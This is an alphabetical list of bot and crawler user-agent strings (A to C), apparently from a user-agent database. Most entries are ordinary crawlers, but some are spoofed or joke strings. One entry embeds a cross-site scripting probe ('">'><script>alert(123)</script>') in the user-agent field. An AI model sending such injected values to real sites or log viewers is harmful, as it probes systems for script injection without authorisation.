Bot AsyncHttpClient 1.0

Bot Atig::Http/379a1ecdc7925ca768690c0f7d86c57f7bc4b954 (http.rb; net-irc) Ruby/1.9.3 (x86_64-linux)

Bot Atig::Http/5cfeaaebf99e2df40ba4d0bde22124ed87e83b88 (http.rb; net-irc) Ruby/1.8.7 (x86_64-linux)

Bot Atig::Http/b6647d90e8b2f7936a05aae175f644b131b96367 (http.rb; net-irc) Ruby/1.8.7 (x86_64-linux)

Bot Atig::Http/ed0fd0b975055eea562b7ca9b73a1cae9064b13d (http.rb; net-irc) Ruby/1.8.7 (i686-linux)

Bot Atig::Http/unknown (http.rb; net-irc) Ruby/1.8.7 (i386-freebsd6)

Bot atlantic/0.1 (+http://bot.macrothela.net)

Bot atlantic/0.10 (+ http://bot.macrothela.net)

Bot atlantic/0.10 (+http://bot.macrothela.net)

Bot atlantic/0.11 (+http://bot.macrothela.net)

Bot atlantic/0.2 (+http://bot.macrothela.net)

Bot atlantic/0.5 (+http://bot.macrothela.net)

Bot atlantic/0.6 (+http://bot.macrothela.net)

Bot atlantic/0.8 (+http://bot.macrothela.net)

Bot atlantic/0.9 (+http://bot.macrothela.net)

Bot AtlasGrid-Bot

Bot AtlocalBot/1.1 +(http://www.atlocal.com/local-web-site-owner.html)

Bot Atomic_Email_Hunter/4.0

Bot Atomic_Email_Hunter/4.0 (iPod; U; CPU like Mac OS X; en; ) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A10...

Bot Atomic_Email_Hunter/4.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF83) AppleWebKit/533.1 (KHTML, like Gecko) Vers...

Bot Atrax Solutions atraxbot/0.3; http://www.atraxsolutions.com/atraxbot

Bot atraxbot/0.2

Bot Attentio/Nutch-0.9-dev (Attentio's beta blog crawler; www.attentio.com; info@attentio.com)

Bot Attributor.comBot

Bot Attributor/Dejan-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

Bot Attributor/Nutch-1.0-dev (Test crawler; http://www.attributor.com; info at attributor com)

Bot Audacious/2.4.3 neon/0.28.4

Bot AurNet07

Bot autoemailspider

Bot AutoIt/3.3

Bot AutoItScript/3.3.6.1

Bot autokrawl

Bot AutoMapIt Sitemaps - HTTP Status Bot (http://www.automapit.com/headerchecker.html)

Bot AutoMapIt Sitemaps - LinkChecker Bot (http://www.automapit.com/bot.html)

Bot Automattic Analytics Crawler/0.1; http://wordpress.com/crawler/

Bot autowebdir 1.1 (www.autowebdir.com)

Bot AV Fetch 1.0

Bot AVSearch-1.0(peter.turney@nrc.ca)

Bot AVSearch-2.0-fusionIdx-14-CompetitorWebSites

Bot AVSearch-3.0(AltaVista/AVC)

Bot Awahili/7 (http://www.awahili.com)

Bot awesomebar_scraper/1.0

Bot awesomebot

Bot aworm-injector/2.00.1a (Red Hat Server-EDT) - http://www.tdmsic.org

Bot axadine/ (Axadine Crawler; http://www.axada.de/; )

Bot AxmoRobot - Crawling your site for better indexing on www.axmo.com search engine.

Bot Axmorobot indexing your site for search.axmo.com - World Wide Search Engine from Axmo.com

Bot Axonize-bot

Bot Ayna/Nutch-0.9 (Ayna Search Engine Crawler; http://www.ayna.com/; search at aynacorp dot com)

Bot Aynchronous WinHTTP Demo/1.0

Bot Azureus/4306

Bot baa [the_sheep]

Bot BabalooSpider/1.3 (BabalooSpider; http://www.babaloo.si; spider@babaloo.si)

Bot BaboomBot/1.[0-255].[0-255] (\+http://www.baboom.us)

Bot BaboomBot/1.x.x (+http://www.baboom.us)

Bot Backlink Crawler v1.0

Bot BacklinkCrawler (http://www.backlinktest.com/crawler.html)

Bot BacklinkCrawler V (http://www.backlinktest.com/crawler.html)

Bot badLinks.ru`s crawler v.2

Bot baidu bot6483052

Bot baidu/Nutch-1.0

Bot BaiduImagespider+(+http://www.baidu.jp/search/s308.html)

Bot Baiduspider

Bot Baiduspider (+http://www.baidu.com/search/spider.html)

Bot BaiduSpider+ (+; http://www.baidu.com/search/spider.htm; Ubuntu; Compatible; Version; Platform; .NET CLR 2.0.50727; Vers...

Bot Baiduspider+ (+http://www.baidu.com/search/spider_jp.html; MSIE 7.0; Windows NT 6.0; Mozilla/4.0 (compatible; MSIE 6.0; ...

Bot Baiduspider+(+baidu/search/spider.htm:baidu/search/spider.htm)

Bot Baiduspider+(+http://help.baidu.jp/system/05.html)

Bot Baiduspider+(+http://www.baidu.com/search/spider.htm)

Bot Baiduspider+(+http://www.baidu.com/search/spider_jp.html

Bot Baiduspider+(+http://www.baidu.com/search/spider_jp.html)

Bot Baiduspider+(+http://www.baidu.jp/spider/)

Bot Baiduspider+(http://abwc.iespana.es/last.php)

Bot Baiduspider-cpro

Bot Baiduspider-favo+(+http://www.baidu.com/search/spider.htm)

Bot Baiduspider-image+(+http://www.baidu.com/search/spider.htm)

Bot baiduspider-mobile-gate

Bot Balihoo/Nutch-1.0-dev (Crawler for Balihoo.com search engine - obeys robots.txt and robots meta tags ; http://balihoo.co...

Bot Barca/2.0.xxxx

Bot BarraHomeCrawler (albertof@barrahome.org)

Bot Basalt v090b

Bot BatchScan

Bot baypup/1.1 (Baypup; http://www.baypup.com/; jason@baypup.com)

Bot baypup/colbert (Baypup; http://sf.baypup.com/about; jason@baypup.com)

Bot baypup/colbert (Baypup; http://sf.baypup.com/webmasters; jason@baypup.com)

Bot bCentral Billing Post-Process

Bot bdcindexer_2.6.2 (research@bdc)

Bot BDFetch

Bot BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686)

Bot BDNcentral Crawler v2.3 [en] (http://www.bdncentral.com/robot.html) (X11; I; Linux 2.0.44 i686),gzip(gfe) (via translate...

Bot BeamMachine/0.5 (dead link remover of www.beammachine.net)

Bot beast/Nutch-0.9 (agentspider; beast@mail.com)

Bot beautybot/1.0 (+http://www.uchoose.de/crawler/beautybot/)

Bot BebopBot/2.5.1 ( crawler http://www.apassion4jazz.net/bebopbot.html )

Bot BeckyBot/2.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Bot becomex /Google-11.0

Bot becomex /Nutch-0.9

Bot becomex /Nutch-1.0

Bot beetel UNTRUSTED/1.0

Bot Begun Robot Crawler

Bot Begun Robot Crawler (TESTING)

Bot bender/Nutch-0.8.1 (myd@cs.stanford.edu)

Bot bensbot

Bot betaBot

Bot BGSY bot/1.0

Bot BigCliqueBOT/1.03-dev (bigclicbot; http://www.bigclique.com; bot@bigclique.com)

Bot BIGLOTRON (Beta 2;GNU/Linux)

Bot Biglotron-3.01 larbin2.6.3@unspecified.mail

Bot Biglotron-3.01 robot@too.org

Bot Bigsearch.ca/Nutch-0.9-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)

Bot Bigsearch.ca/Nutch-1.0-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)

Bot Bigsearch.ca/Nutch-x.x-dev (Bigsearch.ca Internet Spider; http://www.bigsearch.ca/; info@enhancededge.com)

Bot BilgiBetaBot/0.8-dev (bilgi.com (Beta) ; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot BilgiBot/1.0(beta) (http://www.bilgi.com/; bilgi at bilgi dot com)

Bot bim-zone (+http://www.bim-zone.com)

Bot Bimbot/1.0

Bot bing/1.0

Bot bingbot/2.0; +http://www.bing.com/bingbot.htm

Bot Bingbot/3.3 (Commodore; N; M$IE 8.0; Android 1.2.22; rv:13.1) Presto/20130510 Arora/17.4.5 Spamdog/5.3.4

Bot bingbot/3.3 (Windows; I; MSIE 8.0; Darwin 2.4.10; XC68000; rv:10.1) Gecko/20020320 Chrome/8.1.5 Seabird/19.4.3

Bot Bingbot/4.3 (Amiga; U; M$IE 8.0; MULTICS 3.2.26; z/90; rv:3.2) Lizard/20031222 Fennec/7.5.3 Skyfly/4.5.4

Bot Bingbot/4.8 (compatible; I; MSIE 7.0; HP-UX 1.2.27; TS6800; Trident/6.3) Dragon/20100811 Chrome/18.5.6 Turboweasel/9.0.9

Bot bingbot/5.7 (Motif; MSIE 12.0; Encom OS 3.2.19; 80386; rv:14.5) Gangsta/20000220 Mobile/17.4.2 Opera/2.7.6

Bot bingbot/6.3 (LCARS; I; M$IE 8.0; DDoS 3.1.6; R6500; Trident/1.5) AppleWebkit/20150900 Chrome/1.2.0 Firedog/15.0.2

Bot BinGet/1.00.A (http://www.bin-co.com/php/scripts/load/)

Bot BingSearch/1.0.0 CFNetwork/459 Darwin/10.0.0d3

Bot binlar_2.6.3 binlar2.6.3@unspecified.mail

Bot binlar_2.6.3 test@mgmt.mic

Bot Bitacle bot/1.1

Bot Bitacle Robot (V:1.0;) (http://www.bitacle.com)

Bot bitlybot

Bot bitlybot/2.0

Bot bitmagicbot/0.1 admin@bitmagic.in

Bot BitTorrent/3.4.2

Bot BitvoUserAgent (+http://www.bitvo.com) Bitvo/0.9b

Bot Biyubi/x.x (Sistema Fenix; G11; Familia Toledo; es-mx)

Bot Biz360 spider (blogsmanager@biz360.com; http://www.biz360.com)

Bot BKA WebSiteChecker/0.98-20080419

Bot BKAspider/1.0 (+http://www.bundeskriminalamt.de)

Bot blackcrawl/Nutch-0.9 (crawl for fun; www.zipfelchappe.com; zipfelchappe@localhost)

Bot blackspider

Bot Blaiz-Bee/1.0 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.5502 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.5622 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.5655 (+http://www.blaiz.net)

Bot Blaiz-Bee/2.00.8222 (BE Internet Search Engine http://www.rawgrunt.com)

Bot Blaiz-Bee/2.00.8315 (BE Internet Search Engine http://www.rawgrunt.com)

Bot Blaiz-Bee/2.00.xxxx (+http://www.blaiz.net)

Bot bldbCrawler/Nutch-1.4

Bot bleeding-sucker-bot (+http://www.suckingbleeder.org)

Bot blender.cs.qc.cuny.edu Spider (research purposes only)/Nutch-1.2 (This spider intends to collect individual webpages (no...

Bot Blern 1.4

Bot blind-dice

Bot BlitzBOT@tricus.net

Bot BlitzBOT@tricus.net (Mozilla compatible)

Bot Blog Conversation Project; blogs@iq.harvard.edu; http://gking.harvard.edu/blogconv/

Bot BlogBot/1.x

Bot BlogBridge 3.0.1 Discoverer (http://www.blogbridge.com/)

Bot BlogBridge 4.0 Discoverer (http://www.blogbridge.com/) Java/1.5.0_03

Bot BlogBridge Service (http://www.blogbridge.com/) Java/1.5.0_09

Bot BlogCorpusCrawler 1.414213 <http://wortschatz.uni-leipzig.de/~mrichter/BCC/>

Bot Bloglines Title Fetch/1.0 (http://www.bloglines.com)

Bot Bloglines/2.1 (http://www.bloglines.com; xx subscribers)

Bot Bloglines/2.1 (http://www.bloglines.com;xx subscribers)

Bot Bloglines/3.1 (http://www.bloglines.com)

Bot Blogpulse (info@blogpulse.com)

Bot BlogPulseLive (support@blogpulse.com)

Bot BlogRangerCrawler/1.0

Bot BlogSearch/1.0 +http://www.icerocket.com/

Bot BlogSearch/1.x +http://www.icerocket.com/

Bot blogsearchbot-pumpkin-2

Bot blogsearchbot-pumpkin-3

Bot BlogsNowBot, V 2.01 (+http://www.blogsnow.com/)

Bot BlogVibeBot-v1.1 (spider@blogvibe.nl)

Bot BlogzIce/1.0 (+http://icerocket.com; rhodes@icerocket.com)

Bot BlogzIce/1.0 +http://www.icerocket.com/

Bot BloobyBot

Bot Bloodhound/Nutch-0.9 (Testing Crawler for Research - obeys robots.txt and robots meta tags ; http://balihoo.com/index.as...

Bot Blubberlutsch/1.0

Bot BlueCrab/4.9.5 (Macintosh; U; PPC Mac OS X; en)

Bot BlueDragon

Bot blynx/1.0 (Lynx/1.0; HP/SUX)

Bot BM-WebExplorer-DLL/v1.1h

Bot bm@schweinischer-bote.de

Bot BND WebSiteChecker/0.95-20080408

Bot bnyonkqwyagacpbyfhwft

Bot bob/Nutch-0.9 (bob; http://www.google.com; x@y)

Bot BobCrawl/Nutch-0.9 (Test/Development crawler; http://notavalable.com; notavailable@notavailable.com)

Bot boitho.com-dc/0.82 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.83 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.85 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.86 ( http://www.boitho.com/dcbot.html )

Bot boitho.com-dc/0.xx (http://www.boitho.com/dcbot.html)

Bot boitho.com-robot/1.x

Bot boitho.com-robot/1.x (http://www.boitho.com/bot.html)

Bot Bombtech/0.1-alpha (+www.bombtech.co.uk/bot)

Bot BOneB Spider

Bot boo/Nutch-1.0

Bot boo/Nutch-1.0 (boo)

Bot Bookdog/4.3.0

Bot Bookdog/5.1.12

Bot Bookdog/5.1.36

Bot Bookdog/5.1.44

Bot Bookdog/5.2

Bot Bookdog/5.3.10

Bot Bookdog/5.3.13

Bot Bookdog/5.3.15

Bot Bookdog/5.3.3

Bot Bookdog/5.3.6

Bot Bookdog/5.3.8

Bot BookishBot

Bot BookMacster/1.0.5

Bot BookMacster/1.2.6

Bot BookMacster/1.3.1

Bot BookMacster/1.3.10

Bot BookMacster/1.3.14

Bot BookMacster/1.3.17

Bot BookMacster/1.3.9

Bot Bookmark Buddy bookmark checker (http://www.bookmarkbuddy.net/))

Bot BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 2; en-US;)

Bot BookmarkSync/2.3.2(Windows; U; Microsoft Windows NT 5.1.2600 Service Pack 3; en-US;)

Bot boosker/Nutch-1.2

Bot Booster/1.0

Bot bot

Bot Bot ">'><script>alert(123)</script> FirePHP/0.3

Bot bot (Java Hotspot(TM) Server 64-Bit VM; +http://www.daniel-nowak-ug.de) Resource Description Engine

Bot Bot Apoena 2.0; http://www.katatudo.com.br/ajuda/

Bot Bot AutoMapIt Sitemaps - HTTP Status Bot (http://www.automapit.com/headerchecker.html)

Bot Bot DoCoMo/2.0 P906i(c100;TB;W24H15) (compatible; MSNBOT-MOBILE/1.1;+http://search.msn.com/msnbot.htm)

Bot Bot Godzilla/9.0 (iPad; I; IRIX 2.2.3; 80186; rv1.2.8) KHTML/20120101 Windspider/3.0.13

Bot Bot mailto:craftbot@yahoo.com

Bot Bot Mozilla/5.0 (compatible: Googlebot/2.1: +http//www.google.com/bot.html)

Bot Bot Opera/9.80 (J2ME/MIDP; Opera Mini/4.6 (Linux x86_64; Android; N; en-US) (Version: 1.02, powered by www.123spider.de/...

Bot bot-pge.chlooe.com/1.0.0 (+http://www.chlooe.com/)

Bot Bot-Seeker/1.0 (Bot-Seeker)

Bot Bot.ara.com.tr/0.0.1

Bot bot.wsowner.com/1.0.0 (+http://wsowner.com/)

Bot BOT/0.1 (BOT for JCE)

Bot bot/1.0

Bot bot/1.0 (bot; http://; bot@bot.bot)

Bot bot/1.0 (bot; http://www.bot.bot; bot@bot.bot)

Bot bot@webloadtests.com/1.1 (+http://www.webloadtests.com/bot.html)

Bot botbot 14.1.3

Bot BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1)

Bot BotBuster/2.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 3.0.04506.30)

Bot BotTracer; (+http://www.informacja.pl) visited appointmentnet.com

Bot BotTracer; (+http://www.informacja.pl) visited botsvsbrowsers.com

Bot BotTracer; (+http://www.informacja.pl) visited cutaboverealtyagents.com

Bot BotTracer; (+http://www.informacja.pl) visited dealershipnet.com

Bot BotTracer; (+http://www.informacja.pl) visited findasurgeononline.com

Bot BotTracer; (+http://www.informacja.pl) visited localbeautyschools.com

Bot BotTracer; (+http://www.informacja.pl) visited localcardiologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localchiros.com

Bot BotTracer; (+http://www.informacja.pl) visited localdermatologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localendocrinologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localeyedoctor.com

Bot BotTracer; (+http://www.informacja.pl) visited localhomelenders.com

Bot BotTracer; (+http://www.informacja.pl) visited localoncologists.com

Bot BotTracer; (+http://www.informacja.pl) visited localorthopedists.com

Bot BotTracer; (+http://www.informacja.pl) visited localpathology.com

Bot BotTracer; (+http://www.informacja.pl) visited obgyn-search.com

Bot BotTracer; (+http://www.informacja.pl) visited quickcityinfo.com

Bot BotTracer; (+http://www.informacja.pl) visited therightfinancialadvisor.com

Bot BotTracer; (+http://www.informacja.pl) visited therightmover.com

Bot BoX 64 (NVidea GForce 4 Architecture); +http://microsoft-watch.org

Bot BPImageWalker

Bot BPImageWalker/2.0 (www.bdbrandprotect.com)

Bot Brand New Crawler

Bot BravoBrian SpiderEngine MarcoPolo

Bot BREW-Applet/0x0606060E (BREW/3.1.5.201; DeviceId: 2501; Lang: en)

Bot BREW-Applet/0x20068888 (BREW/3.1.5.20; DeviceId: 180041; Lang: zhcn) ucweb-squid

Bot BREW-Applet/0x20068888 (BREW/3.1.5.20; DeviceId: 40144; Lang: zhcn) ucweb-squid

Bot BREW-Applet/0x20068888 (BREW/3.1.5.20; DeviceId: 600; Lang: zhcn) ucweb-squid

Bot BrightCrawler (http://www.brightcloud.com/brightcrawler.asp)

Bot BrightCrawler 1.0 (http://www.brightcloud.com/brightcrawler.asp; brightcrawler@brightcloud.com)

Bot BruinBot (+http://webarchive.cs.ucla.edu/bruinbot.html)

Bot Brutezilla/X.O (unisystem X.O; rv:X.O) hiccup/10100101 open/X.O

Bot BSDSeek/1.0

Bot BTbot/0.x (+http://www.btbot.com/btbot.html)

Bot BubbleGum/4.0

Bot BufferBot

Bot BuildCMS crawler (http://www.buildcms.com/crawler)

Bot Bundestrojaner_1.5

Bot BurstFindCrawler/1.1 (crawler.burstfind.com; http://crawler.burstfind.com; crawler@burstfind.com)

Bot Buscaplus Robi/1.0 (http://www.buscaplus.com/robi/)

Bot businessdbbot/v1.2 (http://www.businessdb.com/bot.php)

Bot Busiversebot/v1.0 (http://www.busiverse.com/bot.php)

Bot BuzzSoRadBot/0.1 ( http://buzz.ohsorad.com)

Bot bwh3_user_agent

Bot bwh3_user_agent (compatible; MSIE 7.0; Windows NT 6.0) FirePHP/0.1.2

Bot bwh3_user_agent FirePHP/0.1.2

Bot bwh3_user_agent FirePHP/0.4

Bot bzr/2.1.0 (urllib)

Bot c-spider.bot

Bot CaBot

Bot Cabot/Nutch-0.9 (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)

Bot Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; agent@amfibi.com)

Bot Cabot/Nutch-1.0-dev (Amfibi's web-crawling robot; http://www.amfibi.com/cabot/; help at amfibi dot com)

Bot Cabot/Nutch-1.2 (Amfibi's webcrawler robot; http://www.amfibi.com/cabot; cabot@amfibi.com)

Bot CacheServer

Bot caizhi/infomation/Nutch-0.8.1

Bot CakePHP

Bot Caliperbot/1.0 (+http://www.conductor.com/caliperbot)

Bot CamelHttpStream/1.0

Bot CamontSpider/1.0 +http://epweb2.ph.bham.ac.uk/user/slater/camont/info.html

Bot cancho/Nutch-1.0 (crawl test; http://asdf.net/; asdf@asdf.net)

Bot Canookle/1.1 (+http://www.canookle.ca/spider.html)

Bot Carnegie_Mellon_University_Research_WebBOT-->PLEASE READ-->http://www.andrew.cmu.edu/~brgordon/webbot/inde...

Bot Carnegie_Mellon_University_WebCrawler http://www.andrew.cmu.edu/~brgordon/webbot/index.html

Bot Carracas 1.4.1

Bot Casper Bot Search

Bot Castabot/0.1 (+http://topixtream.com/)

Bot Catall Spider

Bot CatchBot/1.0; +http://www.catchbot.com

Bot CatchBot/2.0; +http://www.catchbot.com

Bot CatchBot/3.0; +http://www.catchbot.com

Bot Catharsis/0.1.8.89 (compatible) filecache

Bot Cazoodle/Nutch-0.9-dev

Bot Cazoodle/Nutch-0.9-dev (Cazoodle Nutch Crawler; http://www.cazoodle.com; mqbot@cazoodle.com)

Bot CazoodleBot/0.0.2 (http://www.cazoodle.com/contact.php; cbot@cazoodle.com)

Bot CazoodleBot/0.0.2 (http://www.cazoodle.com; cazoodlebot@cazoodle.com)

Bot CazoodleBot/CazoodleBot-0.1 (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)

Bot CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com/cazoodlebot; cazoodlebot@cazoodle.com)

Bot CazoodleBot/Nutch-0.9-dev (CazoodleBot Crawler; http://www.cazoodle.com; mqbot@cazoodle.com)

Bot CC-rget/5.818 libwww-perl/5.805

Bot CC-rget/5.818 libwww-perl/5.813

Bot CC-rget/5.818 libwww-perl/5.823

Bot CC-rget/5.818 libwww-perl/5.831

Bot CC-rget/5.818 libwww-perl/5.834

Bot CC-rget/5.818 libwww-perl/5.837

Bot CC-rget/5.818 libwww-perl/6.02

Bot CCBot/1.0 (+http://www.commoncrawl.org/bot.html)

Bot ccnurl bot 1.0 (http://ccn.tw)

Bot ccubee/2008

Bot ccubee/3.5

Bot CentiverseBot - investigator

Bot CentiverseBot - investigator/3.0 (http://www.centiverse-project.net)

Bot CERN/3.0 libwww/2.17

Bot ceron.jp/1.0

Bot cf_crawler/0.1 libwww-perl/5.808

Bot cfetch/1.0

Bot CFG_SPIDER_USER_AGENT

Bot cfnetwork

Bot CFNetwork/1.1

Bot CFNetwork/10.4.3

Bot CFNetwork/129.13

Bot CFNetwork/129.16

Bot CFNetwork/129.18

Bot CFNetwork/129.19

Bot CFNetwork/129.20

Bot CFNetwork/129.21

Bot CFNetwork/129.22

Bot CFNetwork/152.4

Bot CFNetwork/217

Bot CFNetwork/220

Bot CFNetwork/221.5

Bot CFNetwork/330

Bot CFNetwork/330.4;afcid=M1b8c4d35092ddb4ebe51f30bfeb6c5fa

Bot CFNetwork/4.0

Bot Charlotte

Bot Chat Catcher - (http://chatcatcher.com/bot.htm)

Bot Check%20asp/1 CFNetwork/596.2.3 Darwin/12.2.0 (x86_64) (VMware7%2C1)

Bot check_http/1.81 (nagios-plugins 1.4)

Bot Checkbot/1.xx LWP/5.xx

Bot checkgzipcompression.com robot

Bot CheckHost (http://check-host.net/)

Bot Checklinks/1.3 (pywikipedia robot; http://toolserver.org/~dispenser/view/Checklinks)

Bot CheckUrl

Bot CHeeseboT

Bot Chen Li/Nutch-1.0 (Nutch spiderman; http://chenli.com.cn; chenlibiti@163.com)

Bot Cherchebot/1.0 (+http://www.cherche.org)

Bot CheshireCheck/1.0 libwww-perl/5.808

Bot Chickety China (the Chinese Chicken)

Bot Chickety China (the Chinese Chicken) / Nutch-0.9

Bot Chilkat/1.0.0 (+http://www.chilkatsoft.com/ChilkatHttpUA.asp)

Bot Chirplinks/1.0

Bot chirplinks_res/1.0

Bot Chirrup/1.130

Bot Chitika ContentHit 1.0

Bot Chitika-Linx/1.0 (+http://chitika.com/linx_overview.php)

Bot ChitikaBot/1.1 (+http://www.chitika.com/bot.html)

Bot ChristCRAWLER 2.0

Bot CHttpClient by Open Text Corporation

Bot Chuck+Googlebot/2.1 ;+http://www.google.com/bot.html

Bot chWWW/0.3 +http://

Bot chWWW/0.4 +http://

Bot chWWW/0.5 +http://

Bot CIA Crawl Robot/2.3 (Windows; U; Windows NT 3.1; en-US; rv:2.0)

Bot CIA/2.3 (KrazyGlue/Atari2600 0.91.0.1; Windows; U; Windows NT 6.0; en-US; rv:2.0; gecko/20081217 FBI_Server_Redirect (.N...

Bot Ciao/9.25 (Windows NT 6.0; U; en)

Bot cierzo-development/Nutch-1.1-dev

Bot CIPAV/12.1 (+http://www.fbi.gov/cipavl)

Bot CipinetBot (http://www.cipinet.com/bot.html)

Bot CitiStreet.com/1.0+(compatible;Mozilla/5.0;MSIE 7.0;++http://citistreet.com/)

Bot Cityreview Robot (+http://www.cityreview.org/crawler/)

Bot CJNetworkQuality; http://www.cj.com/networkquality

Bot CjxSearch/Nutch-1.4

Bot ClamAV 0.92

Bot ClamAV 0.95.2

Bot Clambot 0.1a

Bot ClariaBot/1.0

Bot Clickthink/CT-3.1

Bot CligooRobot/1.0

Bot CloakDetect/0.9 (+http://fulltext.seznam.cz/)

Bot CloudACL/Nutch-1.4

Bot Clown Epoch

Bot Clushbot/2.x (+http://www.clush.com/bot.html)

Bot Clushbot/3.x-BinaryFury (+http://www.clush.com/bot.html)

Bot Clushbot/3.xx-Ajax (+http://www.clush.com/bot.html)

Bot Clushbot/3.xx-Hector (+http://www.clush.com/bot.html)

Bot Clushbot/3.xx-Peleus (+http://www.clush.com/bot.html)

Bot Cluuz/0.91

Bot CMS Identify Crawler/2.0

Bot CMS Survey

Bot cms4site browser/3.0 (MSIE incompatible) http://www.cms4site.ru

Bot cn_3 larbin2.6.3@unspecified.mail

Bot cn_com_viewer larbin2.6.3@unspecified.mail

Bot cn_web_viewer_web larbin2.6.3@unspecified.mail

Bot CoBITSProbe

Bot Cobra

Bot CobWeb/1.0 (auto classifier)

Bot coccoc

Bot coccoc/1.0 ()

Bot coccoc/1.0 (http://help.coccoc.com/)

Bot coccoc/1.0 (http://help.coccoc.vn/)

Bot coccoc/1.0 (http://help.coccoc.vn/) AppEngine-Google; (+http://code.google.com/appengine; appid: s~doingfly)

Bot Code/1.2 CFNetwork/485.13.9 Darwin/11.0.0

Bot coder.io (coder news search engine - peter@coder.io)

Bot Coderz-Bot (http://the-coderz.de/)

Bot CodeViewer%202/507 CFNetwork/485.13.9 Darwin/11.0.0

Bot CoffeeCup Software's Catalyst Framework: Request Class

Bot Cogentbot/1.X (+http://www.cogentsoftwaresolutions.com/bot.html)

Bot ColdFusion

Bot Colloquy4132 CFNetwork/438.12 Darwin/9.7.0 (i386) (MacBookPro1%2C1)

Bot com_viewer larbin2.6.3@unspecified.mail

Bot com_web larbin2.6.3@unspecified.mail

Bot com_web_viewer larbin2.6.3@unspecified.mail

Bot com_web1 larbin2.6.3@unspecified.mail

Bot Combine/3 http://combine.it.lth.se/

Bot Combine/x.0

Bot cometrics-bot, http://www.cometrics.de

Bot Community Server 2.1.60809.935 (Microsoft Windows NT 5.2.3790 Service Pack 1; .NET CLR 2.0.50727.42;)

Bot Comodo-Certificates-Spider

Bot COMODOSpider(+http://www.comodo.com)

Bot COMODOspider/Nutch-1.0

Bot COMODOSpider/Nutch-1.2

Bot compatible; Googlebot/2.1 (+http://www.googlebot.com/bot.html); Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Me...

Bot compatible; Googlebot/2.1; +http://www.google.com/bot.html

Bot compatible; Mozilla 4.0; MSIE 5.5; (SqwidgeBot b0.6.2 - http://www.sqwidge.com/bot/)

Bot compatible; Mozilla 4.0; MSIE 5.5; (SqwidgeBot b1 - http://www.sqwidge.com/bot/)

Bot compatible;+Googlebot/2.1;++http://www.google.com/bot.html

Bot complex_network_group/Nutch-0.9-dev (discovering the structure of the world-wide-web; http://cantor.ee.ucla.edu/~network...

Bot Computer_and_Automation_Research_Institute_Crawler crawler@ilab.sztaki.hu

Bot computergeektipsbot/0.02b (computergeektips.info; U; ; 2047-7; en)

Bot Comrite/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)

Bot COMTORBOT (http://www.comtor.net/)

Bot con2txt/1.0

Bot Connotea libwww-perl/5.808

Bot Connotea libwww-perl/5.837

Bot conpilot crawler (http://www.conpilot.com/privacy.jsp)

Bot ContactBot/0.2

Bot Content Crawler

Bot Content Crawler Spider

Bot ContentBarrier%20X510.5.4%20 CFNetwork/422.15.2 Darwin/9.6.0 (i386) (MacPro1%2C1)

Bot Convera Internet Spider V6.x

Bot ConveraCrawler/0.2

Bot ConveraCrawler/0.7 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.8 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9 (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9d (+http://www.authoritativeweb.com/crawl)

Bot ConveraCrawler/0.9e (+http://ews.converasearch.com/crawl.htm)

Bot ConveraCrawler/0.9e (+http://www.authoritativeweb.com/crawl)

Bot ConveraMultiMediaCrawler/0.1 (+http://www.authoritativeweb.com/crawl)

Bot Cookie%20Stumbler/1450 CFNetwork/454.12.4 Darwin/10.8.0 (i386) (MacBookPro5%2C2)

Bot CookieMonster

Bot CoolBot

Bot CoolBot/1.0

Bot copyright sheriff ( http://www.copyrightsheriff.com/)

Bot copyright sheriff (+http://www.copyrightsheriff.com/)

Bot CopyRightCheck

Bot CoralWebPrx/0.1.19 (See http://coralcdn.org/)

Bot CoralWebPrx/0.1.20 (See http://coralcdn.org/)

Bot core-project/1.0

Bot CorenSearchBot/1.0 libwww-perl/5.807

Bot CorenSearchBot/1.0 libwww-perl/5.808

Bot CorenSearchBot/1.4 en libwww-perl/5.808

Bot CorenSearchBot/1.5 en libwww-perl/5.834

Bot CorenSearchBot/1.5 en libwww-perl/6.02

Bot CorenSearchBot/1.7 en libwww-perl/5.834

Bot CorenSearchBot/1.7 en libwww-perl/6.04

Bot coruscan/Nutch-1.4

Bot cosmos/0.8_(robot@xyleme.com)

Bot cosmos/0.9_(robot@xyleme.com)

Bot Covac TexAs Arachbot

Bot Covario Amazon Nutch Crawler/Nutch-1.2

Bot Covario IDS/Nutch-1.2

Bot Covario-IDS/1.0 (Covario; http://www.covario.com/ids; support at covario dot com)

Bot Covario-IDS/1.0 (Covario; http://www.covario.com; support at covario dot com)

Bot Cowbot-0.1 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)

Bot Cowbot-0.1.x (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)

Bot CowCrawler/CowCrawler-dev (+http://beta.cow.com)

